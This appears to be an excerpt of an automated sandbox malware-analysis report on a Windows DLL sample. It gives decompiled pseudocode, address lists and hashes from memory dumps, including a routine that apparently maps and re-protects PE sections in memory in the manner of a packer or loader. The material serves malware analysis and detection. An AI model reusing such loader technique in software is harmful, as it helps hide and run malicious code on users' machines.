                                                                                                      							E6EC45D08( &(_t535[0x180]) - 0x7c, _t556,  &(_t535[0x180]), 0);
                                                                                                      							_push(_t289);
                                                                                                      							E6EC48E08( &(_t535[0xe4]),  &(_t535[0x180]), 2);
                                                                                                      							E6EC3F654( &(_t535[0x180]));
                                                                                                      							_t557 = _t535[0x114];
                                                                                                      							if(_t535[0x114] != 0) {
                                                                                                      								E6EC3BB44( &(_t535[0x110]));
                                                                                                      							}
                                                                                                      							E6EC3CFDC( &(_t535[0x104]));
                                                                                                      							E6EC3CFDC(_t518);
                                                                                                      							E6EC3CFDC( &(_t535[0x15c]));
                                                                                                      							E6EC3CFDC( &(_t535[0x154]));
                                                                                                      							E6EC490EC( &(_t535[0xdc]), 0xffffffff);
                                                                                                      							_t535[0x118] = _t535[0xf0];
                                                                                                      							E6EC3F618( &(_t535[0x11c]), _t557,  &(_t535[0xf4]));
                                                                                                      							_push(1);
                                                                                                      							E6EC490B0( &(_t535[0x11c]));
                                                                                                      							_t381 = 0;
                                                                                                      							_t535[0x64] = 0;
                                                                                                      							_t535[0x60] = 0;
                                                                                                      							do {
                                                                                                      								_t535[0x58] = E6EC3F4BC( &(_t535[0x38]), _t535[0x60]);
                                                                                                      								_t535[0x70] = E6EC3F4CC( &(_t535[0x44]));
                                                                                                      								_t519 =  *(0x6ec4bd40 + _t381 * 4);
                                                                                                      								_t531 = E6EC4907C( &(_t535[0xf4]), _t519, _t519);
                                                                                                      								if(_t531 == 0) {
                                                                                                      									goto L42;
                                                                                                      								}
                                                                                                      								_t508 = E6EC487E8( &(_t535[0x11c]), _t519,  *_t531);
                                                                                                      								_t532 =  *_t531;
                                                                                                      								while(_t532 ==  *_t508) {
                                                                                                      									_t508 = _t508 + 8;
                                                                                                      									__eflags = _t508;
                                                                                                      								}
                                                                                                      								_t315 =  *_t508;
                                                                                                      								_t535[0x74] = _t315;
                                                                                                      								_t535[0x78] = _t315 - _t532;
                                                                                                      								if(_t381 != 0) {
                                                                                                      									L38:
                                                                                                      									_t535[0x68] = E6EC3F4CC( &(_t535[0x44]));
                                                                                                      									_t535[0x6c] = _t519;
                                                                                                      									E6EC3F4DC( &(_t535[0x4c]), _t562, _t532, _t535[0x78]);
                                                                                                      									_t319 = E6EC3F4CC( &(_t535[0x44]));
                                                                                                      									_t487 = _t535[0x58];
                                                                                                      									_t563 = _t319 -  *((intOrPtr*)(_t487 + 4));
                                                                                                      									if(_t319 <=  *((intOrPtr*)(_t487 + 4))) {
                                                                                                      										E6EC3F828( &(_t535[0x20]), E6EC3F4CC( &(_t535[0x1c])) + 8);
                                                                                                      										E6EC3F4BC( &(_t535[0x20]), E6EC3F4CC( &(_t535[0x1c])) + 0xfffffff8);
                                                                                                      										asm("movsd");
                                                                                                      										asm("movsd");
                                                                                                      										_t535[0x18] = _t535[0x18] + 1;
                                                                                                      										__eflags = _t381 - 0x1d;
                                                                                                      										if(__eflags == 0) {
                                                                                                      											_t228 =  &(_t535[0x44]); // 0x2c
                                                                                                      											E6EC4317C(_t535[0x58], _t228, __eflags,  &(_t535[0x18]));
                                                                                                      										}
                                                                                                      										goto L42;
                                                                                                      									}
                                                                                                      									E6EC3F828( &(_t535[0x48]), _t535[0x70]);
                                                                                                      									E6EC4317C(_t535[0x58],  &(_t535[0x44]), _t563,  &(_t535[0x18]));
                                                                                                      									E6EC3F840( &(_t535[0x44]), _t563);
                                                                                                      									E6EC3F840( &(_t535[0x1c]), _t563);
                                                                                                      									_t381 = _t381 - 1;
                                                                                                      									_t334 = _t535[0x64] + 1;
                                                                                                      									_t535[0x60] = _t535[0x60] + 0x14;
                                                                                                      									_t535[0x18] = 0;
                                                                                                      									_t535[0x64] = _t334;
                                                                                                      									if(_t334 == _t535[0x30]) {
                                                                                                      										break;
                                                                                                      									}
                                                                                                      									goto L42;
                                                                                                      								}
                                                                                                      								E6EC4913C( &(_t535[0x134]), _t519);
                                                                                                      								_t535[0x5c] = _t532;
                                                                                                      								while(1) {
                                                                                                      									_t336 = _t535[0x5c];
                                                                                                      									_t562 =  *_t336 - 0xb8;
                                                                                                      									if( *_t336 == 0xb8) {
                                                                                                      										break;
                                                                                                      									}
                                                                                                      									_t490 = _t535[0x5c] + E6EC49104( &(_t535[0x138]), __eflags, _t535[0x74]);
                                                                                                      									_t535[0x5c] = _t490;
                                                                                                      									__eflags = _t490 -  *_t508;
                                                                                                      									if(__eflags < 0) {
                                                                                                      										continue;
                                                                                                      									}
                                                                                                      									L37:
                                                                                                      									E6EC3F654( &(_t535[0x144]));
                                                                                                      									E6EC3F654( &(_t535[0x134]));
                                                                                                      									goto L38;
                                                                                                      								}
                                                                                                      								 *0x6ec4d2ec =  *((intOrPtr*)(_t336 + 1));
                                                                                                      								goto L37;
                                                                                                      								L42:
                                                                                                      								_t381 = _t381 + 1;
                                                                                                      							} while (_t381 < 0x1e);
                                                                                                      							E6EC3F654( &(_t535[0x11c]));
                                                                                                      							E6EC48E68(_t381,  &(_t535[0xd8]));
                                                                                                      							E6EC3F654( &(_t535[0x1c]));
                                                                                                      							E6EC3F654( &(_t535[0x44]));
                                                                                                      							E6EC3F654( &(_t535[0x34]));
                                                                                                      							goto L44;
                                                                                                      						}
                                                                                                      						_t533 = 0;
                                                                                                      						_t382 = 0;
                                                                                                      						do {
                                                                                                      							_t341 = E6EC3F4BC( &(_t535[0xc]), _t382);
                                                                                                      							_t517 = _t341;
                                                                                                      							E6EC3F828( &(_t535[0x38]), E6EC3F4CC( &(_t535[0x34])) + 0x14);
                                                                                                      							_t347 = E6EC3F4BC( &(_t535[0x38]), E6EC3F4CC( &(_t535[0x34])) + 0xffffffec);
                                                                                                      							_t451 = 5;
                                                                                                      							memcpy(_t347, _t341, _t451 << 2);
                                                                                                      							_t535 =  &(_t535[0xc]);
                                                                                                      							_t533 = _t533 + 1;
                                                                                                      							_t382 = _t382 + 0x14;
                                                                                                      							_t535[0x30] = _t535[0x30] + 1;
                                                                                                      						} while (_t533 < _t535[0x44]);
                                                                                                      						goto L24;
                                                                                                      					}
                                                                                                      					_t535[0x4c] = 1;
                                                                                                      					_t534 = 0x14;
                                                                                                      					do {
                                                                                                      						_t62 = _t534 - 0x14; // 0x0
                                                                                                      						_t383 = E6EC3F4BC( &(_t535[0xc]), _t62);
                                                                                                      						_t455 = E6EC3F4BC( &(_t535[0xc]), _t534);
                                                                                                      						_t517 =  *_t383;
                                                                                                      						_t352 =  *_t455;
                                                                                                      						if(_t352 >= _t517 && _t352 <= _t383[1] + _t517) {
                                                                                                      							_t383[1] =  *((intOrPtr*)(_t455 + 0x10)) - _t517;
                                                                                                      						}
                                                                                                      						_t534 = _t534 + 0x14;
                                                                                                      						_t354 = _t535[0x4c] + 1;
                                                                                                      						_t535[0x4c] = _t354;
                                                                                                      					} while (_t354 < _t535[0x44]);
                                                                                                      					_t535[0x44] = _t535[4];
                                                                                                      					goto L21;
                                                                                                      				}
                                                                                                      			}








































































                                                                                                      0x6ec41448
                                                                                                      0x6ec4144f
                                                                                                      0x6ec41452
                                                                                                      0x6ec41459
                                                                                                      0x6ec41bdb
                                                                                                      0x6ec41bdb
                                                                                                      0x6ec4145f
                                                                                                      0x6ec4146a
                                                                                                      0x6ec419a9
                                                                                                      0x6ec419ad
                                                                                                      0x00000000
                                                                                                      0x6ec41c2c
                                                                                                      0x6ec419b3
                                                                                                      0x6ec419b6
                                                                                                      0x6ec419b9
                                                                                                      0x6ec419c3
                                                                                                      0x6ec419d2
                                                                                                      0x6ec419d4
                                                                                                      0x6ec419db
                                                                                                      0x6ec41bc5
                                                                                                      0x6ec41bc7
                                                                                                      0x6ec41bca
                                                                                                      0x6ec41bce
                                                                                                      0x00000000
                                                                                                      0x6ec41bce
                                                                                                      0x6ec419ea
                                                                                                      0x6ec419f5
                                                                                                      0x6ec419fc
                                                                                                      0x6ec419ff
                                                                                                      0x6ec41a01
                                                                                                      0x6ec41a04
                                                                                                      0x6ec41a07
                                                                                                      0x6ec41a0d
                                                                                                      0x6ec41a1b
                                                                                                      0x6ec41a2b
                                                                                                      0x6ec41a50
                                                                                                      0x6ec41a61
                                                                                                      0x6ec41a64
                                                                                                      0x6ec41a66
                                                                                                      0x6ec41aca
                                                                                                      0x6ec41acd
                                                                                                      0x6ec41acd
                                                                                                      0x6ec41acf
                                                                                                      0x6ec41ad2
                                                                                                      0x6ec41ad6
                                                                                                      0x6ec41ad6
                                                                                                      0x6ec41ada
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41ae7
                                                                                                      0x6ec41aed
                                                                                                      0x6ec41b21
                                                                                                      0x6ec41b27
                                                                                                      0x6ec41b29
                                                                                                      0x6ec41bf8
                                                                                                      0x6ec41c00
                                                                                                      0x6ec41c03
                                                                                                      0x6ec41c05
                                                                                                      0x6ec41c1c
                                                                                                      0x6ec41c1c
                                                                                                      0x6ec41c07
                                                                                                      0x6ec41c0b
                                                                                                      0x6ec41c10
                                                                                                      0x6ec41c10
                                                                                                      0x6ec41c1e
                                                                                                      0x6ec41c24
                                                                                                      0x6ec41b43
                                                                                                      0x6ec41b43
                                                                                                      0x6ec41b45
                                                                                                      0x6ec41b45
                                                                                                      0x6ec41b47
                                                                                                      0x6ec41b47
                                                                                                      0x6ec41b4c
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41b4e
                                                                                                      0x6ec41b4f
                                                                                                      0x6ec41b52
                                                                                                      0x6ec41b55
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41b61
                                                                                                      0x6ec41b64
                                                                                                      0x6ec41b66
                                                                                                      0x6ec41b7d
                                                                                                      0x6ec41b7d
                                                                                                      0x6ec41b68
                                                                                                      0x6ec41b6c
                                                                                                      0x6ec41b71
                                                                                                      0x6ec41b71
                                                                                                      0x6ec41b8a
                                                                                                      0x6ec41b8d
                                                                                                      0x6ec41b96
                                                                                                      0x6ec41b99
                                                                                                      0x6ec41bbc
                                                                                                      0x6ec41bc0
                                                                                                      0x00000000
                                                                                                      0x6ec41bc0
                                                                                                      0x6ec41ba1
                                                                                                      0x6ec41ba1
                                                                                                      0x6ec41bad
                                                                                                      0x6ec41bb0
                                                                                                      0x6ec41bb9
                                                                                                      0x00000000
                                                                                                      0x6ec41bb9
                                                                                                      0x6ec41b2f
                                                                                                      0x6ec41b3f
                                                                                                      0x6ec41b3f
                                                                                                      0x6ec41b41
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41b37
                                                                                                      0x6ec41b39
                                                                                                      0x6ec41b39
                                                                                                      0x00000000
                                                                                                      0x6ec41b3f
                                                                                                      0x6ec41aef
                                                                                                      0x6ec41af7
                                                                                                      0x6ec41b17
                                                                                                      0x6ec41af9
                                                                                                      0x6ec41af9
                                                                                                      0x6ec41b01
                                                                                                      0x6ec41b0a
                                                                                                      0x6ec41b0a
                                                                                                      0x6ec41b01
                                                                                                      0x00000000
                                                                                                      0x6ec41af7
                                                                                                      0x6ec41a68
                                                                                                      0x6ec41a6f
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41a7c
                                                                                                      0x6ec41a82
                                                                                                      0x6ec41a87
                                                                                                      0x6ec41a8e
                                                                                                      0x6ec41a92
                                                                                                      0x6ec41aa7
                                                                                                      0x6ec41aa9
                                                                                                      0x6ec41aab
                                                                                                      0x6ec41ab1
                                                                                                      0x6ec41abf
                                                                                                      0x6ec41abf
                                                                                                      0x6ec41ac5
                                                                                                      0x00000000
                                                                                                      0x6ec41ac5
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41a0f
                                                                                                      0x6ec41a0f
                                                                                                      0x6ec41a0f
                                                                                                      0x6ec41a10
                                                                                                      0x6ec41a13
                                                                                                      0x6ec41a17
                                                                                                      0x00000000
                                                                                                      0x6ec41a2d
                                                                                                      0x6ec41a30
                                                                                                      0x6ec41a33
                                                                                                      0x6ec41a3c
                                                                                                      0x6ec41a3f
                                                                                                      0x6ec41a40
                                                                                                      0x6ec41a42
                                                                                                      0x00000000
                                                                                                      0x6ec4147d
                                                                                                      0x6ec4147f
                                                                                                      0x6ec41484
                                                                                                      0x6ec4148f
                                                                                                      0x6ec4149d
                                                                                                      0x6ec414b0
                                                                                                      0x6ec414bd
                                                                                                      0x6ec414c6
                                                                                                      0x6ec414ca
                                                                                                      0x6ec414ce
                                                                                                      0x6ec41516
                                                                                                      0x6ec41516
                                                                                                      0x6ec41518
                                                                                                      0x6ec4151f
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41538
                                                                                                      0x6ec41540
                                                                                                      0x6ec41544
                                                                                                      0x6ec41559
                                                                                                      0x6ec4155d
                                                                                                      0x6ec41561
                                                                                                      0x6ec4156a
                                                                                                      0x6ec41570
                                                                                                      0x6ec41573
                                                                                                      0x6ec41577
                                                                                                      0x6ec4157f
                                                                                                      0x6ec41581
                                                                                                      0x6ec41585
                                                                                                      0x6ec4158c
                                                                                                      0x6ec41595
                                                                                                      0x6ec41595
                                                                                                      0x6ec41599
                                                                                                      0x6ec415ae
                                                                                                      0x6ec415c4
                                                                                                      0x6ec415d1
                                                                                                      0x6ec415d2
                                                                                                      0x6ec415d2
                                                                                                      0x6ec415d4
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec4158e
                                                                                                      0x6ec4158e
                                                                                                      0x6ec4158e
                                                                                                      0x6ec4158f
                                                                                                      0x6ec41590
                                                                                                      0x00000000
                                                                                                      0x6ec4158e
                                                                                                      0x6ec41553
                                                                                                      0x6ec41557
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec415d8
                                                                                                      0x6ec415d8
                                                                                                      0x6ec415d9
                                                                                                      0x6ec415dc
                                                                                                      0x6ec415e6
                                                                                                      0x6ec415e6
                                                                                                      0x6ec415ea
                                                                                                      0x6ec415f1
                                                                                                      0x6ec4164c
                                                                                                      0x6ec41651
                                                                                                      0x6ec416a4
                                                                                                      0x6ec416a4
                                                                                                      0x6ec416a8
                                                                                                      0x6ec416ac
                                                                                                      0x6ec414d6
                                                                                                      0x6ec414d9
                                                                                                      0x6ec414de
                                                                                                      0x6ec414e4
                                                                                                      0x6ec414e7
                                                                                                      0x6ec414ee
                                                                                                      0x6ec414f2
                                                                                                      0x6ec414f9
                                                                                                      0x6ec41502
                                                                                                      0x6ec41506
                                                                                                      0x6ec4150a
                                                                                                      0x6ec41510
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41510
                                                                                                      0x6ec416b6
                                                                                                      0x6ec416c2
                                                                                                      0x6ec416cd
                                                                                                      0x6ec416d4
                                                                                                      0x6ec416dd
                                                                                                      0x6ec416e7
                                                                                                      0x6ec416e8
                                                                                                      0x6ec416f6
                                                                                                      0x6ec416fb
                                                                                                      0x6ec416fc
                                                                                                      0x6ec41709
                                                                                                      0x6ec4170e
                                                                                                      0x6ec41720
                                                                                                      0x6ec41725
                                                                                                      0x6ec4172a
                                                                                                      0x6ec4173c
                                                                                                      0x6ec4174e
                                                                                                      0x6ec41753
                                                                                                      0x6ec4175e
                                                                                                      0x6ec41765
                                                                                                      0x6ec4176a
                                                                                                      0x6ec41772
                                                                                                      0x6ec4177b
                                                                                                      0x6ec4177b
                                                                                                      0x6ec41787
                                                                                                      0x6ec4178e
                                                                                                      0x6ec4179a
                                                                                                      0x6ec417a6
                                                                                                      0x6ec417b4
                                                                                                      0x6ec417c5
                                                                                                      0x6ec417cc
                                                                                                      0x6ec417d1
                                                                                                      0x6ec417da
                                                                                                      0x6ec417df
                                                                                                      0x6ec417e1
                                                                                                      0x6ec417e5
                                                                                                      0x6ec417e9
                                                                                                      0x6ec417f6
                                                                                                      0x6ec41803
                                                                                                      0x6ec41807
                                                                                                      0x6ec4181b
                                                                                                      0x6ec4181f
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41834
                                                                                                      0x6ec41836
                                                                                                      0x6ec4183e
                                                                                                      0x6ec4183b
                                                                                                      0x6ec4183b
                                                                                                      0x6ec4183b
                                                                                                      0x6ec41842
                                                                                                      0x6ec41844
                                                                                                      0x6ec4184a
                                                                                                      0x6ec41850
                                                                                                      0x6ec418ac
                                                                                                      0x6ec418b5
                                                                                                      0x6ec418b9
                                                                                                      0x6ec418c6
                                                                                                      0x6ec418cf
                                                                                                      0x6ec418d4
                                                                                                      0x6ec418d8
                                                                                                      0x6ec418db
                                                                                                      0x6ec4193c
                                                                                                      0x6ec41952
                                                                                                      0x6ec4195d
                                                                                                      0x6ec4195e
                                                                                                      0x6ec4195f
                                                                                                      0x6ec41963
                                                                                                      0x6ec41966
                                                                                                      0x6ec41be6
                                                                                                      0x6ec41be9
                                                                                                      0x6ec41be9
                                                                                                      0x00000000
                                                                                                      0x6ec41966
                                                                                                      0x6ec418e5
                                                                                                      0x6ec418f5
                                                                                                      0x6ec418fe
                                                                                                      0x6ec41907
                                                                                                      0x6ec41910
                                                                                                      0x6ec41911
                                                                                                      0x6ec41912
                                                                                                      0x6ec41917
                                                                                                      0x6ec4191f
                                                                                                      0x6ec41927
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41929
                                                                                                      0x6ec41859
                                                                                                      0x6ec4185e
                                                                                                      0x6ec41862
                                                                                                      0x6ec41862
                                                                                                      0x6ec41866
                                                                                                      0x6ec41869
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec4188a
                                                                                                      0x6ec4188c
                                                                                                      0x6ec41890
                                                                                                      0x6ec41892
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec41894
                                                                                                      0x6ec4189b
                                                                                                      0x6ec418a7
                                                                                                      0x00000000
                                                                                                      0x6ec418a7
                                                                                                      0x6ec4186e
                                                                                                      0x00000000
                                                                                                      0x6ec4196c
                                                                                                      0x6ec4196c
                                                                                                      0x6ec4196d
                                                                                                      0x6ec4197d
                                                                                                      0x6ec41989
                                                                                                      0x6ec41992
                                                                                                      0x6ec4199b
                                                                                                      0x6ec419a4
                                                                                                      0x00000000
                                                                                                      0x6ec419a4
                                                                                                      0x6ec41653
                                                                                                      0x6ec41655
                                                                                                      0x6ec41657
                                                                                                      0x6ec4165c
                                                                                                      0x6ec41661
                                                                                                      0x6ec41674
                                                                                                      0x6ec4168a
                                                                                                      0x6ec41693
                                                                                                      0x6ec41694
                                                                                                      0x6ec41694
                                                                                                      0x6ec41696
                                                                                                      0x6ec41697
                                                                                                      0x6ec4169a
                                                                                                      0x6ec4169e
                                                                                                      0x00000000
                                                                                                      0x6ec41657
                                                                                                      0x6ec415f3
                                                                                                      0x6ec415fd
                                                                                                      0x6ec415fe
                                                                                                      0x6ec415fe
                                                                                                      0x6ec4160b
                                                                                                      0x6ec41617
                                                                                                      0x6ec41619
                                                                                                      0x6ec4161b
                                                                                                      0x6ec4161f
                                                                                                      0x6ec4162f
                                                                                                      0x6ec4162f
                                                                                                      0x6ec41636
                                                                                                      0x6ec41639
                                                                                                      0x6ec4163a
                                                                                                      0x6ec4163e
                                                                                                      0x6ec41648
                                                                                                      0x00000000
                                                                                                      0x6ec41648

                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: a7d59959232d5174d8a928b34e152e7ce4486a9231cbbd0ba7a6163b11fcf993
                                                                                                      • Instruction ID: c528a2de9ab18ecc99376a346db4fe1052718829acf0684af6d04f7565c7f94d
                                                                                                      • Opcode Fuzzy Hash: a7d59959232d5174d8a928b34e152e7ce4486a9231cbbd0ba7a6163b11fcf993
                                                                                                      • Instruction Fuzzy Hash: D5326970108385CFD714DFA8C890ADABBE4BF95304F208D2DE595872A5FB70E959CB92
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 100%
                                                                                                      			E6EC36D0C() {
                                                                                                      
                                                                                                      				 *0x6ec4d280 = GetUserNameW;
                                                                                                      				 *0x6EC4D284 = MessageBoxW;
                                                                                                      				 *0x6EC4D288 = GetLastError;
                                                                                                      				 *0x6EC4D28C = CreateFileA;
                                                                                                      				 *0x6EC4D290 = DebugBreak;
                                                                                                      				 *0x6EC4D294 = FlushFileBuffers;
                                                                                                      				 *0x6EC4D298 = FreeEnvironmentStringsA;
                                                                                                      				 *0x6EC4D29C = GetConsoleOutputCP;
                                                                                                      				 *0x6EC4D2A0 = GetEnvironmentStrings;
                                                                                                      				 *0x6EC4D2A4 = GetLocaleInfoA;
                                                                                                      				 *0x6EC4D2A8 = GetStartupInfoA;
                                                                                                      				 *0x6EC4D2AC = GetStringTypeA;
                                                                                                      				 *0x6EC4D2B0 = HeapValidate;
                                                                                                      				 *0x6EC4D2B4 = IsBadReadPtr;
                                                                                                      				 *0x6EC4D2B8 = LCMapStringA;
                                                                                                      				 *0x6EC4D2BC = LoadLibraryA;
                                                                                                      				 *0x6EC4D2C0 = OutputDebugStringA;
                                                                                                      				return 0x6ec4d280;
                                                                                                      			}



                                                                                                      0x6ec36d1d
                                                                                                      0x6ec36d25
                                                                                                      0x6ec36d28
                                                                                                      0x6ec36d37
                                                                                                      0x6ec36d3a
                                                                                                      0x6ec36d49
                                                                                                      0x6ec36d4c
                                                                                                      0x6ec36d5b
                                                                                                      0x6ec36d5e
                                                                                                      0x6ec36d6d
                                                                                                      0x6ec36d70
                                                                                                      0x6ec36d7f
                                                                                                      0x6ec36d82
                                                                                                      0x6ec36d91
                                                                                                      0x6ec36d94
                                                                                                      0x6ec36da3
                                                                                                      0x6ec36da6
                                                                                                      0x6ec36da9

                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 1380ce5e55ff865e1fc46bce0af009338b2a772d4c5dc31b8b6f23dde0857b2c
                                                                                                      • Instruction ID: 4d3e0f074319ba361a4a85be9508d25bdfee0ab31641e92252df074bed05fb00
                                                                                                      • Opcode Fuzzy Hash: 1380ce5e55ff865e1fc46bce0af009338b2a772d4c5dc31b8b6f23dde0857b2c
                                                                                                      • Instruction Fuzzy Hash: 7511F6B8A15A00CFC759DF06D2908517BF1FBCD31031181BAD82A4B365E735D845CF54
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Executed Functions

                                                                                                      C-Code - Quality: 42%
                                                                                                      			E00232092(long __ebx, void* __edi, long __esi, intOrPtr* _a4) {
                                                                                                      				char _v20;
                                                                                                      				intOrPtr _v24;
                                                                                                      				intOrPtr _v28;
                                                                                                      				intOrPtr _v32;
                                                                                                      				intOrPtr _v36;
                                                                                                      				intOrPtr _v40;
                                                                                                      				char _v44;
                                                                                                      				intOrPtr* _v48;
                                                                                                      				intOrPtr _v52;
                                                                                                      				intOrPtr _v56;
                                                                                                      				intOrPtr _v60;
                                                                                                      				intOrPtr _v64;
                                                                                                      				void* _v68;
                                                                                                      				char* _v72;
                                                                                                      				int _v76;
                                                                                                      				long _v80;
                                                                                                      				long _v84;
                                                                                                      				DWORD* _v88;
                                                                                                      				intOrPtr _v92;
                                                                                                      				int _v96;
                                                                                                      				intOrPtr* _v100;
                                                                                                      				intOrPtr _v104;
                                                                                                      				intOrPtr _v108;
                                                                                                      				intOrPtr _v112;
                                                                                                      				void* _v116;
                                                                                                      				intOrPtr _v120;
                                                                                                      				intOrPtr _v124;
                                                                                                      				intOrPtr _v128;
                                                                                                      				intOrPtr _v132;
                                                                                                      				intOrPtr _v136;
                                                                                                      				intOrPtr _v140;
                                                                                                      				signed int _v144;
                                                                                                      				intOrPtr _v148;
                                                                                                      				intOrPtr _v152;
                                                                                                      				int _v156;
                                                                                                      				char* _v160;
                                                                                                      				intOrPtr _v164;
                                                                                                      				intOrPtr _v168;
                                                                                                      				intOrPtr _v172;
                                                                                                      				char* _v176;
                                                                                                      				intOrPtr _v180;
                                                                                                      				intOrPtr _v184;
                                                                                                      				char _v188;
                                                                                                      				intOrPtr* _t140;
                                                                                                      				int _t147;
                                                                                                      				int _t155;
                                                                                                      				int _t159;
                                                                                                      				intOrPtr _t174;
                                                                                                      				int _t183;
                                                                                                      				intOrPtr _t226;
                                                                                                      				void* _t233;
                                                                                                      				intOrPtr _t236;
                                                                                                      				void* _t243;
                                                                                                      				intOrPtr* _t247;
                                                                                                      				unsigned int _t250;
                                                                                                      				intOrPtr _t259;
                                                                                                      				DWORD* _t271;
                                                                                                      				void* _t275;
                                                                                                      				intOrPtr* _t278;
                                                                                                      				intOrPtr* _t279;
                                                                                                      
                                                                                                      				_t140 = _a4;
                                                                                                      				_v20 = 0;
                                                                                                      				_t243 =  *((intOrPtr*)(_t140 + 0x44));
                                                                                                      				 *0x234418 = 1;
                                                                                                      				asm("movaps xmm0, [0x233010]");
                                                                                                      				asm("movups [0x234428], xmm0");
                                                                                                      				_v48 = _t140;
                                                                                                      				_v52 =  *((intOrPtr*)(_t140 + 0x48));
                                                                                                      				_v56 =  *((intOrPtr*)(_v48 + 0x38));
                                                                                                      				_v188 = _t243;
                                                                                                      				_v184 =  *((intOrPtr*)(_v48 + 0x58));
                                                                                                      				_v180 = 4;
                                                                                                      				_v176 =  &_v20;
                                                                                                      				_v60 =  *((intOrPtr*)(_t140 + 0x54));
                                                                                                      				_v64 = 4;
                                                                                                      				_v68 = _t243;
                                                                                                      				_v72 =  &_v20;
                                                                                                      				_t147 = VirtualProtect(__edi, __ebx, __esi, _t271); // executed
                                                                                                      				_v76 = _t147;
                                                                                                      				_v188 = _v68;
                                                                                                      				_v184 = 0;
                                                                                                      				_v180 =  *((intOrPtr*)(_v48 + 0x58));
                                                                                                      				_v80 = 0x400;
                                                                                                      				_v84 = 2;
                                                                                                      				_v88 =  &_v20;
                                                                                                      				_v92 = 0;
                                                                                                      				E00231770();
                                                                                                      				E002317BD(_v68,  *((intOrPtr*)(_v48 + 0x28)), _v56);
                                                                                                      				E00231770( *((intOrPtr*)(_v48 + 0x28)), 0, _v56);
                                                                                                      				_t155 = VirtualProtect(_v68, 0x400, 2, _v88); // executed
                                                                                                      				_t278 = _t275 - 0x8c;
                                                                                                      				_t233 = _v68;
                                                                                                      				_t259 =  *((intOrPtr*)(_t233 + 0x3c));
                                                                                                      				_v96 = _t155;
                                                                                                      				_v100 = _v68 + 0x3c;
                                                                                                      				_v104 = _t233;
                                                                                                      				_v108 = _t259;
                                                                                                      				if(_t259 != 0) {
                                                                                                      					_v104 = _v68 + (_v108 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                      				}
                                                                                                      				_v120 = _v104;
                                                                                                      				if(_v60 != 0) {
                                                                                                      					_v124 = 0;
                                                                                                      					_v128 = _v120 + 0x18 + ( *(_v120 + 0x14) & 0x0000ffff);
                                                                                                      					while(1) {
                                                                                                      						_t174 = _v128;
                                                                                                      						_t250 =  *(_t174 + 0x24);
                                                                                                      						_v140 = _t174;
                                                                                                      						_v144 = _t250 >> 0x1f;
                                                                                                      						_v148 =  *((intOrPtr*)(_v140 + 8));
                                                                                                      						_v188 = _v68 +  *((intOrPtr*)(_v140 + 0xc));
                                                                                                      						_v184 = _v148;
                                                                                                      						_v180 =  *((intOrPtr*)(0x234418 + ((_t250 >> 0x0000001e & 0x00000001) << 4) + (_v144 << 3) + ((_t250 >> 0x0000001d & 0x00000001) << 2)));
                                                                                                      						_v176 =  &_v20;
                                                                                                      						_v152 = _v124;
                                                                                                      						_t183 = VirtualProtect(??, ??, ??, ??); // executed
                                                                                                      						_t278 = _t278 - 0x10;
                                                                                                      						_t226 = _v152 + 1;
                                                                                                      						_v156 = _t183;
                                                                                                      						_v124 = _t226;
                                                                                                      						_v128 = _v140 + 0x28;
                                                                                                      						if(_t226 == _v60) {
                                                                                                      							goto L8;
                                                                                                      						}
                                                                                                      					}
                                                                                                      				}
                                                                                                      				L8:
                                                                                                      				 *_t278 = _v68;
                                                                                                      				_v132 = _v68 +  *((intOrPtr*)(_v48 + 0x24));
                                                                                                      				_t159 = DisableThreadLibraryCalls(??);
                                                                                                      				_t279 = _t278 - 4;
                                                                                                      				_t236 =  *_v100;
                                                                                                      				_v136 = _t159;
                                                                                                      				_v112 = _t236;
                                                                                                      				_v116 = _v68;
                                                                                                      				if(_t236 != 0) {
                                                                                                      					_v116 = _v68 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                      				}
                                                                                                      				_t247 = _v48;
